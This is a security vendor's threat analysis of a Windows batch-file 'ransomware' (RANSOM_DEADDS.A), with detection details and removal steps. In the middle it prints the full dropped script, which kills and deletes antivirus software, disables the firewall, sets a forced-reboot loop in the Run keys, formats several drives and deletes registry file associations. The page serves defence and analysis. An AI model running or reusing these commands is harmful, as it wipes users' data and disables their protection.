Analysis by: Marvelous Pelin
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Canal de infección Dropped by other malware, Downloaded from the Internet

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

Tamaño del archivo 247,808 bytes
Tipo de archivo EXE
Residente en memoria No
Fecha de recepción de las muestras iniciales 24 May 2017
Carga útil Drops files

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • C:\WinRar\SubFolder\{random 5}.bat
  • D:\WinRar\SubFolder\{random 5}.bat
  • E:\WinRar\SubFolder\{random 5}.bat

It creates the following folders:

  • C:\WinRar\SubFolder
  • D:\WinRar\SubFolder
  • E:\WinRar\SubFolder

Other Details

This Ransomware does the following:

  • It does not encrypt.

NOTES:
It displays the following as its ransom note:

The dropped files contains the following:

  • @ECHO off
  • If %date% NEQ ----/--/-- goto exit
  • :exit
  • rem —
  • rem Permanently Kill Anti-Virus
  • net stop “Security Center”
  • netsh firewall set opmode mode=disable
  • tskill /A av*
  • tskill /A fire*
  • tskill /A anti*
  • cls
  • tskill /A spy*
  • tskill /A bullguard
  • tskill /A PersFw
  • tskill /A KAV*
  • tskill /A ZONEALARM
  • tskill /A SAFEWEB
  • cls
  • tskill /A OUTPOST
  • tskill /A nv*
  • tskill /A nav*
  • tskill /A F-*
  • tskill /A ESAFE
  • tskill /A cle
  • cls
  • tskill /A BLACKICE
  • tskill /A def*
  • tskill /A kav
  • tskill /A kav*
  • tskill /A avg*
  • tskill /A ash*
  • cls
  • tskill /A aswupdsv
  • tskill /A ewid*
  • tskill /A guard*
  • tskill /A guar*
  • tskill /A gcasDt*
  • tskill /A msmp*
  • cls
  • tskill /A mcafe*
  • tskill /A mghtml
  • tskill /A msiexec
  • tskill /A outpost
  • tskill /A isafe
  • tskill /A zap*
  • cls
  • tskill /A zauinst
  • tskill /A upd*
  • tskill /A zlclien*
  • tskill /A minilog
  • tskill /A cc*
  • tskill /A norton*
  • cls
  • tskill /A norton au*
  • tskill /A ccc*
  • tskill /A npfmn*
  • tskill /A loge*
  • tskill /A nisum*
  • tskill /A issvc
  • tskill /A tmp*
  • cls
  • tskill /A tmn*
  • tskill /A pcc*
  • tskill /A cpd*
  • tskill /A pop*
  • tskill /A pav*
  • tskill /A padmin
  • cls
  • tskill /A panda*
  • tskill /A avsch*
  • tskill /A sche*
  • tskill /A syman*
  • tskill /A virus*
  • tskill /A realm*
  • cls
  • tskill /A sweep*
  • tskill /A scan*
  • tskill /A ad-*
  • tskill /A safe*
  • tskill /A avas*
  • tskill /A norm*
  • cls
  • tskill /A offg*
  • del /Q /F C:\Program Files\alwils~1\avast4\*.*
  • del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
  • del /Q /F C:\Program Files\kasper~1\*.exe
  • cls
  • del /Q /F C:\Program Files\trojan~1\*.exe
  • del /Q /F C:\Program Files\f-prot95\*.dll
  • del /Q /F C:\Program Files\tbav\*.dat
  • cls
  • del /Q /F C:\Program Files\avpersonal\*.vdf
  • del /Q /F C:\Program Files\Norton~1\*.cnt
  • del /Q /F C:\Program Files\Mcafee\*.*
  • cls
  • del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
  • del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
  • del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
  • del /Q /F C:\Program Files\Norton~1\*.*
  • cls
  • del /Q /F C:\Program Files\avgamsr\*.exe
  • del /Q /F C:\Program Files\avgamsvr\*.exe
  • del /Q /F C:\Program Files\avgemc\*.exe
  • cls
  • del /Q /F C:\Program Files\avgcc\*.exe
  • del /Q /F C:\Program Files\avgupsvc\*.exe
  • del /Q /F C:\Program Files\grisoft
  • del /Q /F C:\Program Files\nood32krn\*.exe
  • del /Q /F C:\Program Files\nood32\*.exe
  • cls
  • del /Q /F C:\Program Files\nod32
  • del /Q /F C:\Program Files\nood32
  • del /Q /F C:\Program Files\kav\*.exe
  • del /Q /F C:\Program Files\kavmm\*.exe
  • del /Q /F C:\Program Files\kaspersky\*.*
  • cls
  • del /Q /F C:\Program Files\ewidoctrl\*.exe
  • del /Q /F C:\Program Files\guard\*.exe
  • del /Q /F C:\Program Files\ewido\*.exe
  • cls
  • del /Q /F C:\Program Files\pavprsrv\*.exe
  • del /Q /F C:\Program Files\pavprot\*.exe
  • del /Q /F C:\Program Files\avengine\*.exe
  • cls
  • del /Q /F C:\Program Files\apvxdwin\*.exe
  • del /Q /F C:\Program Files\webproxy\*.exe
  • del /Q /F C:\Program Files\panda software\*.*
  • rem —
  • echo @echo off>c:windowshartlell.bat
  • echo break off>>c:windowshartlell.bat
  • echo shutdown -r -t 11 -f>>c:windowshartlell.bat
  • echo end>>c:windowshartlell.bat
  • reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
  • reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
  • echo You have been HACKED.
  • format E: /y >nul
  • format C: /y >nul
  • format D: /y >nul
  • format G: /y >nul
  • format J: /y >nul
  • format F: /y >nul
  • START reg delete HKCR/.exe
  • START reg delete HKCR/.dll
  • START reg delete HKCR/*
  • :MESSAGE
  • ECHO Your computer has been fcked. Have a nice day.
  • start calc
  • tskill msnmsgr
  • tskill firefox
  • tskill iexplore
  • tskill LimreWire
  • tskill explorer
  • tskill explorer
  • tskill explorer
  • tskill explorer
  • tskill explorer
  • START %SystemRoot%\system32\notepad.exe

    •   SOLUTION

    Motor de exploración mínimo 9.850
    Primer archivo de patrones de VSAPI 13.428.02
    Primera fecha de publicación de patrones de VSAPI 25 May 2017
    Versión de patrones OPR de VSAPI 13.429.00
    Fecha de publicación de patrones OPR de VSAPI 26 May 2017

    Step 1

    Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

    Step 2

    Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

    Step 3

    Search and delete these folders

    [ Learn More ]
    Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.  
    • C:\WinRar
    • D:\WinRar
    • E:\WinRar

    Step 4

    Scan your computer with your Trend Micro product to delete files detected as RANSOM_DEADDS.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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